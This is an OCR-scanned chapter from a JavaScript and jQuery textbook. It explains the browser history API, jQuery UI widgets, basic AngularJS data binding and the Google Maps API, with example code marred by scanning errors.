Pressing forward: takes you up the stack (where possible) 
New page: if you request a new page, it will replace 
anything above the current page in the stack 
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State refers to the condition that something Es in at a particular time. The browser history is like a pile Cor stack) 
of states, one on top of the other. The three methods on this page allow you to manipulate the state in browsers. 


ADDING INFORMATION TO THE HISTORY OBJECT 


pushState() adds an entry to the history object, 
repl aceState ( ) updates the current entry. 

Both take the same three parameters (below), each 
of which updates the hi story object. 


Because the hi story object is a child of the wi ndow 
object you can use its name directly in the script; 
you can write history. pushStateO, you do not 
need to write window. hi story . pus hState() . 


history. pushState(s£a£e # title, url ); 

1 <D 1 1 <D 1 <D 


1, The history object can store 
information with each item in 
the history. This is provided in 
the state parameter and can be 
retrieved when you go back to 
that page. 


2. Currently unused by most 
browsers, the title parameter 
Is intended to change the title 
of the page. (You can specify a 
string for this value, ready for 
when browsers support it.) 


3. The URL that you want the 
browser to show for this page, 
it must be on the same origin as 
the current URL and it should 
show the correct content if the 
user goes back to that URL, 


GETTING INFORMATION FROM THE HISTORY OBJECT 


Adding content to the browser history Is only 
part of the solution; the other half is loading the 
right content when the user presses the back or 
forward buttons. To help show the right content, the 
onpopstate event fires whenever the user requests 
a new page. 

This onpopstate event Is used to trigger a function 
that will load the appropriate content into the page. 
There are two ways to determine what content 
should be loaded into the page: 

• The location object (which represents the 
browser’s location bar) 

• The state information in the history object 


The location object: 

If the user presses back or forward, the address bar 
will update itself, so you can get the URL for the page 
that should be loaded using 1 ocati on, pathname 
(the 1 ocati on object is a child of the wi ndow object 
and Its pathname property is the current URL). This 
works well when you are updating an entire page. 

The state: 

Because the first parameter of the pushState() 
method stores data with the hi story object for 
that page, you can use it to store JSON-formatted 
data. That data can then be loaded directly into the 
page. (This Es used when the new content loads data 
rather than a traditional web page.) 
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THE HISTORY OBJECT 


The HTML5 history API describes the functionality of the hi story object 
in modern web browsers. It lets you access and update the browser 
history (but only for pages the user visited on your site). 

Even If the visitor is not taken to a new page in the browser window (for example, when only a part of the page 
is updated using Ajax), you can modify the hi story object to ensure that the back and forward buttons work as 
the user would expect them to on non-Ajax pages. 

Again, the table below is indicative of the kind you might see in API documentation. As you become comfortable 
using the methods, properties, and events of an object you will find it easier to work with all kinds of APIs, 

history object 


METHOD 

DESCRIPTION 

history. back{) 

Takes you back in the history, like the browser s back button 

hi story. forward() 

Takes you forward in the history, like the browser's forward button 

history. go{) 

Takes you to a specific page in the history. It is an index number, starting at 0. 

.90(1) is like clicking the forward button and . go { - 1 ) is like clicking back 

history. pushState() 

Adds an item to the history stack 

(Clicking on a relative link in a page usually triggers a hashchange event rather than 


load, but no event fires if you use pushState() and theurl contains a hash) 
history, replaceState() Does the same as pushStateQ except it modifies the current history entry 


PROPERTY 

DESCRIPTION 

length 

Tells you how many items are in the hi story object 

EVENT 

DESCRIPTION 

window. onpopstate 

Used to handle the user moving backwards or forwards 
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WORKING WITH HISTORY 


1, The loadContent () function uses jQuery's - 1 oad ( ) 
method (see p390) to load content into the page. 

2, If a link is clicked on, an anonymous function runs. 

3, The page to load is held in a variable called href. 


JAVASCRIPT 


4. The current links are updated. 

5. The loadContent (} function is called (see step 1). 

6. The pushState() method of the history object 
updates the history stack. 

cQ9/js/hi$tory.js 


Q> 


$ { f unct i on ( ) { 
function loadContent{url ) { 
$( 1 #content 1 ) .load (url + 

. } 


// DOM has loaded 
// Load new content into page 
#contai ner' ) .hi de ( ) .fadeln ( 'slow'); 


CD 

CD 

®[ 

© 

© 


$( ' nav a ' ) .on ( 'cl ick 1 , function(e) { 
e.preventDefaul t() ; 
var href = this. href; 
var $this = 3(this); 

$ ( 1 a' ) ■ removed ass ( ' current' ) ; 

$thi s.addCl ass{ 1 current ' ) ; 
loadContent (href) ; 

history ,pushState( ' ' , Sthis.text, href); 

}); 


// Click handler 
// Stop link loading new page 
// Get href attribute of link 
// Store link in jQuery object 
// Remove current from links 
// Update current link 
// Call function: loads content 
// Update history 




window.onpopstate = function () { // Handle back/forward buttons 

var path = 1 ocati on. pathname; // Get the file path 

1 oadContent(path) ; // Call function to load page 

var page = path. substring(location. pathname. 1 astlndexQf ("/") + 1); 

${ 'a* ) .removed ass( 1 current 1 ) ; // Remove current from links 

$ ( 1 [h ref= 31 1 + page + 1 11 ] ') .addCl ass( 1 current' } ; // Update current link 

}; 


}); 


RESULT 


1ST 2ND 3RD 


First prize is the DJI Phantom - a smalt, all-in one 
quadcopter designed for aerial photography enthusiasts, Ii 
comes fully configured and ready to fly. Both compact and 
stylish, the highly integrated design means that it's easy to 
carry wherever you go, ready at a moment's notice. 


7. When the user dicks backwards or forwards, 
the onpopstate event fires. This is used to trigger 
an anonymous function. 

8. The browser's location bar will display the 
corresponding page from the history stack, so 
location. pathname is used to obtain the path for 
the page that needs to be loaded. 

9. The loadContent () function (In step 1) is called 
again, to retrieve the specified page, 

10. The file name is retrieved so that the current 
link can be updated. 
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SCRIPTS WITH APIS 


There are hundreds of scripts available for free on the web. 
Many have an API you need to use to get them to work for you. 


SCRIPT APIS 

Lots of developers share their 
scripts through a range of 
websites. Some are relatively 
simple scripts with a single 
purpose (such as sliders, 
lightboxes, and table sorters). 
Others are far more complicated 
and can be used for a range of 
purposes (such as j Query). 

In this section, you will meet two 
different types of scripts whose 
code you can make use of when 
you have learned their APf : 

• A set of jQuery plugins 
known as jQuery UL 

• A script that makes it easier 
to create web apps called 
AngularJS, 


JQUERY PLUGINS 

Many developers have 
written code that adds extra 
functionality to jQuery, These 
scripts add methods to extend 
the jQuery object, which are 
known as jQuery pfugins, 

When you use these plugins, 
first you include the jQuery 
script, followed by the plugin 
script. Then, when you select 
elements (as you do with 
standard In jQuery methods), 
the plugin allows you to apply 
new methods that It has defined 
to that selection, offering new 
functionality that was not in the 
original jQuery script. 


ANGULAR 

Angular.js is another JavaScript 
library, but it is very different 
from jQuery, Its purpose is to 
make it easier to develop web 
applications. 

One of the most striking things 
is that it allows you to access 
and update the contents of a 
page without writing code to 
handle events, select elements, 
or update the content of an 
element. We only have space to 
provide a very basic introduction 
to Angular in this chapter, but 
it does help demonstrate the 
variety of scripts available. 


THIRD-PARTY SCRIPTS 

Before writing your own script 
it can pay to check if someone 
else has already done the hard 
work for you (there is no point 
reinventing the wheel). 


It is always a good Idea to check: 

• Whether it has been updated 
fairly recently 

• That the JavaScript is 
separate from the HTML 

• Reviews of the script if they 
are available 


This helps to ensure that the 
script uses modern practices 
and is stilt being updated, 
ft is also worth noting that the 
instructions for using a script are 
not always called an API, 
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JQUERY Ul 


The jQuery foundation maintain its own set of jQuery plugins called 
jQuery Ul. They help create user interfaces. 


WHAT JQUERY Ul DOES 

jQuery Ul is a suite of jQuery 
plugins that extends jQuery with 
a set of methods to create: 

* Widgets (such as accordions 
and tabs) 

* Effects (that make elements 
appear and disappear) 

* Interactions (such as drag 
and drop functionality) 

jQuery Ul not only provides 
JavaScript you can use, but it 
also comes with a set of themes 
that help control how the plugins 
look on the page. 

If you want fine-grained control 
over how the jQuery pjugins look 
in the browser, you can also use 
the theme roller, which gives you 
more precise control over the 
appearance of the elements. 


HOW TO ACCESS IT 

To use jQuery Ul, first you must 
include jQuery in your page; then 
you must include the jQuery Ul 
script (after the jQuery file). 

Versions of jQuery Ul are 
available on the same CDNs as 
the main jQuery file. But, if you 
only need part of the jQuery 
Ul functionality, you can just 
download the relevant parts 
from the j query ui .com website. 
This creates a smaller JavaScript 
file, which in turn makes the 
script faster to download. 


SYNTAX 

Once you have included the 
jQuery and jQuery Ul scripts 
in the page, the syntax is very 
similar to using other jQuery 
methods. You create a jQuery 
selection and then call a method 
that will be defined in the plugin. 

As you will see, the jQuery Ul 
documentation not only has to 
explain the JavaScript methods 
and properties it uses, but also 
how to structure your HTML 
if you want to use many of its 
widgets and interactions. 
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JQUERY Ul ACCORDION 


Creating an accordion with 
jQuery Ul is very simple. You 
only need to know: 

• How to structure your HTML 

• What element(s) should be 
used in the jQuery selector 

• The jQuery U! method to call 

1 In this example, the HTML for 
an accordion is contained within 
a <div> element (its id attribute 
has a value of pri zes, which will 
be used in the script). Each panel 
of the accordion has: 

2. An <h3> element for the 
clickable heading 

3. A <div> element for the 
content of that panel 

4* Before the closing </body> tag 
the jQuery and jQuery UJ scripts 
are both included in the page. 

5* Finally, you can see a third 
<script> element containing an 
anonymous function that runs 
when the page has loaded. 

6, Inside that function, a 
standard jQuery selector 
picks the containing <d i v> 
element that contains the 
accordion (using the value of 
its id attribute). The accordion 
functionality is triggered by 
calling the ,accordion() 
method on that selection. 


c09/jqui -accordi on . html 


HTML 


<body> 


© 

© 

© 


© 

© 


< 


<div id= "prizes"* 

<h3>lst Prize</h3> 

<div*<p*First prize is the DJI . . .</p></di v> 
<h3>2nd Prizec/l^* 

<di v*<p*Second prize is the. . .</p*</div> 
<h3>3rd Prize</h3> 

<div><p>Third prize is a. . .</p></div> 

</di v> 

<scri pt src="js/jquery-1.9. 1 . js"></script> 
<script src="js/l. 10.3/jqitery-ui .js"x/script* 
<script> 

${fimction() { 

$( ' #prizes ' ) .accordi on () ; 

}); 

</script> 

/body* 


RESULT 


* 1st Prfw 

First prize is your very own DJI Phantom ■ a small, ail ■ in ■ one 
quadcopter designed for aerial photography enthusiast!. It comes 
ftily configured and ready to fly. Both compact and stylish, the 
highly integrated design me ans that its easy to cany wherever you 
go, ready at a moment's notice. 


* 2nd Prize 

* Srd Prize 


You do not need to know how 
the jQuery plugin achieves this, 
as long as you know how to: 

• Structure your HTML 

• Create the jQuery selection 

• Call the new method defined 
in the jQuery plugin 


Note: On a live site, the 
JavaScript should be kept in 
an external file to maintain a 
separation of concerns. It is 
shown here for convenience and 
to show how little work needs to 
be done to achieve this effect. 
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JQUERY Ul TABS 


cQ9/jqui-tabs.html 


( T ) )<div id="prizes"> 

<ul> 

<li><a href =l '#tab-l">lst Prize</a></l i> 

{§)- <li><a href="#tab-2">2nd Prize</a></l i> 

<li><a href="#tab-3">3rd Prize</a></li> 

</ul> 

® <div id="tab-l ll ><p>Pirst prize is. . .</p></di v> 
<div id="tab-2"><p>Second prize is. . .</p></div> 
<div id="tab-3"><p>Third prize is. . .</p></di v> 
</div> 

<scri pt src="js/jquery~l .9. 1. js"x/scri pt> 

<script src="js/jquery-ui . js"x/script> 

<script> 

$ ( f uncti on ( ) { 

( 4 ) ${ 'Iprizes ' ) .tabs() ; 

)>; 

</script> 


RESULT 


1st Prize 2nd Prize 


3rd Prize 


First prize is the DJI Phantom - a smalt, atl-irvone quadcopter designed 
for aerial photography enthusiasts. It comes fully configured and ready 
to fly Both compact and stylish, the highly integrated design means 
that it's easy to carry wherever you go, ready at a moments notice. 


This structure is common In 
most jQuery plugins: 

1. jQuery is loaded, 

2. The plugin is loaded. 

3. An anonymous function runs 
when the page is ready. 


The anonymous function will 
create a jQuery selection and 
applies the method defined 
in the jQuery plugin to that 
selection. Some methods will 
also require parameters in order 
to do their job, ■ 


The tabs are a similar concept to 
the accordion. 

1. They are kept in a containing 
<di v> element that will be used 
in the jQuery selector The 
content, however, is slightly 
different, 

2. The tabs are created using an 
unordered list. The link inside 
each list item points to a <di v> 
element lower down the page 
that holds content for that tab. 

3. Note that the i d attributes on 
the <di v> elements must match 
the value of the href attribute on 
the tabs. 

Once you have included jQuery 
and jQuery Ul In the page, there 
is a third script tag with an 
anonymous function that runs 
when the DOM has loaded. 

4. A jQuery selector picks the 
element whose id attribute has 
a value of pri zes (this is the 
containing element for the tabs). 
Then it calls the ,tabs() method 
is called on that selection. 

On a live site, the JavaScript 
should be kept in an external 
file to maintain a separation of 
concerns, but it is shown here for 
convenience and to show how 
little work needs to be done to 
achieve this effect. 
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JQUERY Ul FORM 


c09/jq ui - f t>rm,htfn1 


© 

© 


<body> ... 

<h2>Find Accommodation</h2> ... 

<p id="price"> 

<label for="amaimt">Price range:</label> 

< input type="text" id-'amount" /> 

</P> 

<div id="price-range"></di v> 

<p> 

<=1 abe7 for="arrival ">Am*val date:</label> 
<input type= l, text 11 id="arriva1" /> 

</p> 

<input type= "submit" value="Find a hotel "/> 


<sc ri pt src=" js/j query- 1.9. 1 . js"></scri pt> 
<script src="js/jquery-ui . js"></script> 
<scri pt s rc= " j s/form- i nit. js"></scri pt> 
c/body> 


RESULT 



Pflct ranj-e: 


Arrival dale: 


«mc tu wr in m u 

i i 

I * 1 £ 7 * t 

1CK II 1J 13 14 1} 14 

IT <1 IT 30 11 31 U 

i* ij 3i u !• n » 

11 


jQuery Ul introduces several 
form controls that make it 
easier for people to enter 
data into forms. This example 
demonstrates two of them: 

Slider input: This allows people 
to select a numeric value using 
a draggable slider This slider 
has two handles that allow the 
user to set a range between two 
numbers. As you can see on the 
right, the HTML for the slider is 
made up of two components: 

1. A normal label and text input 
that would allow users to enter a 
number. 

2. An extra <di v> element used 
to hold the slider that you see on 
the page. 

Date picker: This allows people 
to pick a date from a pop-up 
calendar, which helps ensure 
that users provide the date in the 
correct format that you need. 

3. It is just a text input, and does 
not need any additional markup. 

Before the dosing </body> tag, 
you can see that there are three 
<serf pt> elements: the first is 
the jQuery script the second is 
jQuery Ul, and the third contains 
the instructions to setup these 
two form controls (see right- 
hand page). If JavaScript is not 
enabled, these controls look like 
norma! form controls without the 
jQuery' s enhancements. 


Most jQuery scripts five within 
the . ready () function or its 
shortcut (used on the next 
page). As you saw in Chapter 7, 
this ensures that the script only 
runs when the DOM has loaded. 


If you include more than one 
jQuery plugin, each of which 
uses the • ready {) method, you 
do not repeat the function - you 
combine the code from inside 
both functions into the one. 
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1 The JavaScript is contained 
within the shortcut for the 
jQuery , ready () method. It 
contains the setup instructions 
for both of the form controls* 


2. To turn a text input into a 
date picker, all you need to do 
is select the text input and then 
call the datepickerO method 
on that selection, 


3. Cache the inputs for price. 

4, The slider uses an object 
literal to set the properties of the 
.sliderf) method (see below). 


JAVASCRIPT 


(T) $(function() { 

(5) ${ 'larri val 1 ) .datepickerO ; 

(§) var Samount - $('#amount l ); 

var $range - $( '^price-range') ; 

$(' #price- range’) •sl1der({ 
range: true, 
min: 0, 
max: 400, 

values: [175, 300], 
slide: function (event, ui) { 
Samount.val ('$' + ui .vat ues [0] 

} 

{amount 

d> .valCS 1 + $range*sl ider( 'values’ 
+'-$'+ {range, si i der ( 1 values ' 


c09/js/foriD-initJs 


// Turn input to 3QUI datepicker 

// Cache the price input 

// Cache the <div> for the price range 

// Turn price-range input into a slider 
// If it is a range it gets two handles 
// Minimum value 
// Maximum value 

// Values to use when the page loads 
// When slider used update amount element 
■ ■ - S 1 + ui .values[l] ) ; 


// Set initial values of amount element 
0} // A $ sign then lower range 

1}); // A $ sign then higher range 


}); 


5. When the form loads, the text 
input that shows the amount as 
text needs to know the initial 
range for the slider. The value of 


When a jQuery plugin has settings that vary each time it is used, it is 
common to pass the settings in an object literal* You can see this with 
the .si i der () method; it is passed several parameters and a method: 


that input is made up of; 

PROPERTY 

DESCRIPTION 

a) A dollar sign: $ followed by 
the lower range vaiue. 

range 

A Boolean to give the slider two handles 
(not just a single value) 

b> A dash and dollar sign: - $ 
followed by the higher range 
value. 

min 

The minimum value for the slider 

max 

The maximum value for the slider 

The script is cal led form- ini t - 
js. Programmers often use init 
as a shorthand for initialize; and 

values 

METHOD 

An array containing two values to specify an initial range 
in the slider when the page first loads 

DESCRIPTION 

this script is used to set an initial 
state for the form. 

si ider() 

Updates the text input which shows the text values for the 
slider (the documentation shows examples for this) 
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ANGULARJS 


AngularJS is a framework that makes it easier to create web apps. 
In particular, it assists in creating apps that write, read, update, 
and delete data in a database on a server. 


Angular is based on a software 
development approach called 
model view controller or MVC. 
{It is actually variant on MVC, 
not strict MVC), To use Angular, 
first you include the angular, js 
script in your page, and then it 
makes a set of tools available to 
you (just like j Query does). 


The point of MVC is that it separates out parts of a web application, 
in the same way that front-end developers should separate content 
(HTML), presentation (CSS), and behavior (JavaScript), 

We do not have space to go into Angular in detail, but it introduces 
another example of a very different script with an API, as well as 
concepts such as the MVC approach, templating, and data binding. You 
can download Angular and view the full API at http://angularjs.org. 


VIEW 



MODEL 


The View is what the user sees. 
In a web app, it is the HTML 
page. Angular lets you create 
templates with spaces for 
particular types of content. If the 
user changes values in the view, 
commands (1) are sent to up the 
chain to update the model 
There can be different views of 
the same data, e,g., users and 
administrators. 


This ViewModel (or controller ) 
will update the view if there are 
changes to the model, and will 
update the model if there are 
changes in the view. The task 
of keeping data synchronized 
between the two is known as 
data binding (2). 

For example, if a form in the 
view is updated, it reflects the 
changes and updates the server. 


In a web app, the Model is 
usually stored in the database, 
and managed by server-side 
code that can access and update 
the model. 

When the model has been 
updated, change notifications 
(3) are sent to the ViewModel. 
This info can be passed onto the 
View to keep it updated. 
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USING ANGULAR 


HTML 


c09/angul ar-i ntroducti on * html 


<!D0CTYPE html> 

<html ng-app> 

<head> . . . 

<script src =l ’ https: //ajax, googleapis.com/aj ax/ 
libs/angularj s/1. 0.2/angular. min. js"></script> 
</head> 

<body> . , . 

<form> 

To:<br> 

<input ng -model ="name" type='‘text'7 ><: br> 
Message:<br> 

<textarea ng-model ="message"></textarea> 
<input type="submit 11 value="send message" /> 
</form> ... 

<div class="postcard"> 

<div>{{ name }}</div> 

<p>{{ message }}</p> 

</div> ... 

</body> 

</html> 


RESULT 



THE MAKER BUS 


This example takes the content 
of the <i nput> arid <textarea> 
elements and writes it into 
another part of the page (where 
you can see the double curly 
braces in the HTML file). 

First, include the Angular script 
in your page. You can store 
it locally or use the version 
on Google's CDN. Until you 
understand more about Angular, 
place it in the <head> element. 

Note the new markup in the 
HTML. There are attributes that 
start with ng- (which is short 
for Angular), These are called 
directives. There is one on the 
opening <html > tag and one on 
each of the form elements. 

The vaiue of the ng-model 
attribute on the text inputs 
matches the values inside the 
double curly braces. Angular 
automatically takes the content 
of the form elements and writes 
it into the page where the 
corresponding curly braces are. 



No more JavaScript is needed to 
achieve this, whereas in jQuery, 
this would involve four steps: 

1. Writing an event handler for 
the form elements 

2. Using that to trigger code to 
get the elements' content 

3. Selecting new element nodes 
that represent the postcard 

4. Writing the data into the page * 
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VIEW & VIEWMODEL 


Below, look at the angular-control ler.js file. 

It uses a a constructor function to create an object 
called BasketCtrl. This object is known as a 
controller or ViewModel, It is passed another object 
called $scope as an argument. Properties of the 
$scope object are set in the constructor function. 

1. Note the object's name (BasketCtrl ) matches the 
value of the ng-control 1 er attribute on the opening 
<tabl e> tag. In this example, there is no database, 
so the controller will also act as the model: sharing 
data with the view. 

c 09 /angul ar-control Ier.html 


The HTML file (the view) gets its data from the 
BasketCtrl object in the JavaScript controller. 

In the HTML, note how the names in curly braces, 
e + g„j{ cost } } and { { qty } }, match the 
properties of the $scope object in the JavaScript. 

The HTML file is now called a template because it 
will display whatever data is in the corresponding 
controller. The names in curly braces are like 
variables that match the data in the object. If the 
JavaScript object had different values, the HTML 
would show those values. 


HTML 


<!D0CTYPE htinl> 


© 

d> 

© 


<html ng-app> 

<head> 

<title>JavaScript &amp; jQuery - Chapter 9 . ..</title> 

<script src =, 'https ://ajax.googleapi s .com/. . ,/angul ar.min. js"></script> 
<script src="js/angul ar-control 1 er. js"></scri pt> 

-Oink rel="stylesheet" href= l 'css/c09.css"> 

</head> 

<body> . . . 

<table ng-control ler="BasketCtrl"> 

<tr><td>Item;</td><td>{ { description }}</td></tr> 
<tr><td>Cost:</td><td>${{ cost }}</td></tr> 

<tr><td>Qty :</td><td><input type=" number" ng-model="qty"></td > </tr> 
<tr><td>Subtotal :</td><td>{ {qty * cost | currency}}</td></tr> 
</table> ... 

</body> 

</html> 


cQ9/ j s/angu l ar-control 1 er , j s 


© 

©“ 


function BasketCtrl ($scope) { 
Sscope.descri ption - 'Single 
$scope.eost = 8; 

. $3C0pe.qty » 1; 

} 


ti cket 1 ; 


JAVASCRIPT 
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DATA BINDING & SCOPE 


2. It is also possible to evaluate expressions inside 
the curly braces. In step 3, the subtotal is calculated 
in the template. This is then formatted as a currency. 
Furthermore, if you update the quantity in the form, 
the underlying data model (in the JavaScript object) 
is updated along with the subtotal. Try updating 
the values in the JavaScript file, then refreshing the 
HTML to see the connection. This is an example of 
something programmers call data binding; the data 
in the JavaScript file is bound to the HTML and vice- 
versa, If the ViewModel changes, the view updates. 
If the view changes, the ViewModel updates. 


RESULT 


THE MAKER BUS 


Buy tickets 


Item: Single ticket 

Cost: $8 

Qv i ® 

Subtotal: $8.00 



As this shows, Angular is particularly helpful when 
you load data from a separate file into the view, 

A page can have multipie controllers, each of which 
has its own scope. In the HTML, the ng-control ler 
attribute is used on an element to define the scope 
of that controller. This is similar to variable scope. 
For example, a different element might have a 
different controller (e,g„ StoreCtrl ), and both 
controllers would be able to have a property called 
description. Because the scope is only within that 
element, each controller's descripti on property 
would only be used within that controller's scope. 
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GETTING EXTERNAL DATA 


Here, the controller (the JavaScript file) collects the 
model (the JSON data) from a file on the server, (in a 
web app, the JSON data would usually come from a 
database,) This updates the view in the HTML. 

To collect the data. Angular uses what it calls the 
Shttp service. Inside the angular, js file, the code 
uses the XMLHttpRequest object to make Ajax 
requests (like those you saw in Chapter 8). 


T The path to the JSON file is relative to the HTML 
template, not the JavaScript file (even though the 
path is written in the JavaScript), 

Just like jQuery's *ajax() method, the $http service 
has several shortcuts to make it easier to create 
some requests. To fetch data it uses get {), post{), 
and jsonpO; to delete data it uses del ete(); and to 
create new records: put (). This example uses get () . 


cQ9/angul ar-external -data-html 

<table ng-controller =,, TimetableCtrl "> 
<tr><th>time</th><th>title</th><th>detai l</th></tr> 
(J) <tr ng-repeat= 11 session in sessions JI > 

<td>{{ session.time }}</td> 

<td>{{ session. title }}</td> 

<td>{{ session. detail }}</td> 

</tr> 

</table> 


HTML 


c09/j s/angul ar-external-data. js 

function TimetableCtrl ($scope, $http) { 

(T) Shttp .get { " js/items. json’) 

© .success(function(data) { {scope, sessions = data. sessions; }) 
(D .error (function (data) { console. log('error') }); 

// The error could show a friendly message to users... 

} 


JAVASCRIPT 


c 09 /j s/items. json 


JAVASCRIPT 


{ 

< 4 > 

} 


"sessions" 

(“time": 

("time": 

("time": 

] 


[ 

"09. 00", 
" 10 . 00 ", 
"11.30", 


"title”: 

"title": 

"title": 


"Intro to 3D Modeling", "detail”: "Come..."} 
"Circuit Hacking", "detail": "Head to the..."} 
"Ardui no Antics", "detail": "Learn how..."} 
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LOOP THROUGH RESULTS 


2, !f the request successfully fetches data, the code 
En the success () function runs. In this case, if it is 
successful the $scope object is passed the data from 
the JSON object. This allows the template to display 
the data. 

3, If it fails, the error () function is run instead. This 
would to show an error message to users. Here it 
writes to the console (which you meet on p464). 


RESULT 


4. The JSON data contains several objects, each 
of which is displayed in the page. Note, there is no 
JavaScript loop written in the controller. Instead, the 
HTML template (or view) is where the loop occurs. 

5. The rig-repeat directive on the opening <tr> tag 
indicates that the table row should act like a loop, it 
should go through each object in the sessions array 
and create a new table row for each of them. 


Session Times 



TIME TITLE DETAIL 

09.00 Intro to 3D Modeling Come learn how to create 3D models of parts 

you can then make on our bus! You'll get to 
know the same 3D modeling software that 
used, worldwide in professional settings like 
engineering, product design, and more. 
Develop and test ideas in a fun and 
informative session hosted by Bella Stone, 
professional roboticist. 

1 Q.QQ Circuit Hacking Head to the Electro Tent for a free 

introductory soldering lesson. There will be 
electronics kits on hand for those who wish to 
_ make things, and experienced hackers and 
engineers around to answer all your 


In the HTML, the value of the ng-repeat directive is: 
session in sessions 

• sess i ons matches the JSON data; it corresponds 
with the object name, 

• sess i on is the identifier used in the template to 
indicate the name of each individual object within 
the sessi ons object. 

ff the ng-repeat attribute used different names than 
sessi on, the value in the curly braces in the HTML 
would have to change to reflect that name. For 
example, if it said lecture in sessions, then the 
curly braces would change to reflect that: 

{{ lecture. time }}, {{ lecture. title }},etc. 


This Is just a very high-level introduction to Angular, 
but does demonstrate some popular techniques 
when using JavaScript to develop web apps, such as: 

The use of templates that take content from 
JavaScript and update the HTML page. 

The rise in MVCHnfluenced frameworks for web- 
based application development. 

The use of libraries to save developers having to 
write so much code. 

For more on Angular, see http : //angul arjs.org 


Another very popular alternative is Backbone 
http://backbonejs.org 
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PLATFORM APIS 


Many large websites expose their APIs that allow you to access and 
update the data on their sites, including Facebook, Google, and Twitter. 


WHAT YOU CAN DO 

Each site offers different 
capabilities, for example: 

* Facebook offers features such 
as allowing people to like 
sites or add comments and 
discussion to the bottom of a 
web page, 

m Google Maps lets you to 
include various types of maps 
in your pages. 

• Twitter allows you to display 
your latest tweets on your 
web pages or send new 
tweets. 

By exposing some of the 
functionality of their platforms 
these companies are advertising 
their sites and encouraging 
people back to them. This in turn 
increase their total amount of 
activity (and their revenue). 


Be aware that companies can 
change either how you access 
APIs or change what you are 
allowed to use the APIs for. 


HOW TO ACCESS 

On the web, you can access 
several of these platform APIs 
by including a script they provide 
rn your page. That script will 
typically create an object (just 
like the jQuery script adds a 
j Query object). In turn, that 
object will have methods and 
properties that you can use to 
access (and sometimes update) 
the data on that platform. 

Most sites that offer an API will 
also provide documentation that 
explains how to use its objects, 
methods, and properties (along 
with some basic examples). 

Some of the larger sites provide 
pages where you can get code 
that you can copy and paste into 
your site without even needing 
to understand the API . 


Facebook, Google, and Twitter 
have all made changes to both 
how you access their APIs and 
what you can use them for. 


THE SYNTAX 

The syntax of an API will vary 
from platform to platform. But 
they will be documented using 
tables of objects, methods, and 
properties like those you saw in 
the first section of this chapter. 
You may also see sample code 
that demonstrates tasks people 
commonly use the API for (like 
the examples you have seen In 
this chapter). 

Some platforms offer APIs in 
multiple languages, so that you 
can interact with them using 
server-side languages such 
as PHP/ C# as well as using 
JavaScript, 

In the rest of this chapter we will 
be focusing on the Google Maps 
API as an example of what you 
can do with platform APIs. 


If you work on a site for a client, 
make them aware that APIs can 
change (and that could result in 
recoding pages that use them). 
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GOOGLE MAPS API 


Currently, one of the most popular APIs in use on the web is the Google 
Maps API, which allows you to add maps to web pages, 


WHAT IT DOES 


WHAT YOU'LL SEE API KEY 


The Google Maps JavaScript API 
allows you to show Google maps 
in your web pages. It also allows 
you to customize the look of the 
maps and what information is 
shown on them. 

You may find it helpful to look 
at the documentation for the 
Google Maps API while going 
through this example, it will 
show you other things that you 
can do with the API https;// 
deve 1 opens . goog 1 e * com/maps / 


We only have space to show a 
few of the features of the Google 
Maps API, as it is very powerful 
and contains a lot of advanced 
features. But the examples in 
this chapter will get you used to 
working with its API. 

You will start by seeing how to 
add a map to your web pages, 
then you will see how to change 
the controls, and finally how 
to change the colors and add 
markers on top of the map. 



Googfe Maps JavaScript API •; “ 



Some APIs require that you 
register and request an API 
key in order to get data from 
their servers. An API key is a 
set of letters and numbers that 
uniquely identify you to the 
application so the owners of the 
site can track how much you use 
the API and what you use it for. 

At the time of writing, Google 
allowed websites to call their 
maps API 25,000 times per 
day for free without an API key, 
but sites that consistently make 
more requests are required to 
use a key and pay for the service. 

If you run a busy site, or the map 
is part of the core application, 
it Is good practice to use an API 
key with Google Maps because: 

• You can see how many times 
your site requests the API 

• Google can contact you if 
they change terms of service 
or charge for use 

To get a Google API key, see 
https ;//cl Qtid . goog 1 e , com/ 
console 
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BASIC MAP SETTINGS 


Once you have included the Google Maps script in your page, you can 
use their maps object. It lets you display Google maps in your pages. 


CREATING A MAP 

The maps object is stored within an object called 
google. This creates scope for all Google objects. 

To add a map to your page, you create a new map 
object using a constructor: MapO The constructor is 
part of the maps object, and it has two parameters: 

• The element into which you want the map drawn 

• A set of map options that control how it is 
displayed given using object literal notation 


MAP OPTIONS 

The settings that control how the map should look 
are stored inside another JavaScript object called 
mapOptions, It is created as an object literal before 
you call the Map () constructor. In the JavaScript on 
the right you can see that the mapQptions object 
uses three pieces of data: 

• Longitude and latitude of the center of the map 

• The zoom level for the map 

• The type of map data you want to show 


Zoom level is typically set using a number between The images that make up the map are called tiles. 

Q (the full earth) and 16. (Some cities can go higher.) Four map types each show a different style of map. 
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A BASIC GOOGLE MAP 


HTML 


<div id="map' , x/div> 

<script src="js/google-map.js"></script> 
</body> 


c09/goog 1 e-map . html 


JAVASCRIPT 


c09/ j s/goog 1 e-map , j s 


d> 


function init() { 

var mapOptions = { // 

center: new google. maps. LatLng(40. 782710, -73. 965310) , 
mapTypeld: google. maps. MapTypeld. ROADMAP, 
zoom: 13 


Set up the map options 



}; 

var venueMap; // Map {> draws a map 

venueMap = new google. maps. Map{document,getElementById{ 'map' ) , mapOptions); 


d> 


function load$cript{) { 

var script = document. createEl ement (' script ') ; // 

script. src = 'http://maps.googleapis.com/maps/api/js? 

sensor=false&cal lback=initial ize 1 
document. body. appendChild(script) ; // 


L) 


Create <script> element 

9 

Add element to page 


© wi ndow.onload = loadScript; 


// Onload call 



1* Starting at the bottom of the script, when the 
page has loaded, the onl oad event will call the 
loadScript() function, 

2. loadScript() creates a <script> element to load 
the Google Maps API. When it has loaded, it calls 
ini tO, to initialize the map. 

3. i ni t() loads the map into the HTML page. First it 
creates a mapOptions object with three properties. 

4. Then it uses the Map{) constructor to create 
a map and draw the map into the page. The 
constructor takes two parameters: 

• The element that the map will appear inside 

• The nnapOpt ions object 
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CHANGING CONTROLS 


VISIBILITY OF MAP CONTROLS 


POSITION OF MAP CONTROLS 



To show or hide the controls, use the control name followed by a value of true (to show it) or false (to hide it). 
Although Google Maps tries to prevent overlaps, use judgement to position controls on your map. 


CONTROL 

DESCRIPTION 

DEFAULT 

zoomControl (1) 

Sets the zoom level of the map. It uses a slider (for large 
maps) buttons (for small maps) 

On 

panControl (2) 

Allows panning across the map 

On for non-touch devices 

scaleControl (3) 

Shows the scale of the map 

Off 

mapiypeControl (4) 

Switch map types (e,g,, ROADMAP and SATELLITE) 

On 

streetViewControl (5) 

A Pegm an icon that can be dragged and dropped onto 
the map to show a street view 

On 

rotateControl 

Rotates maps that have oblique imagery (not shown) 

On when available 

overvi ewMa pCont rol 

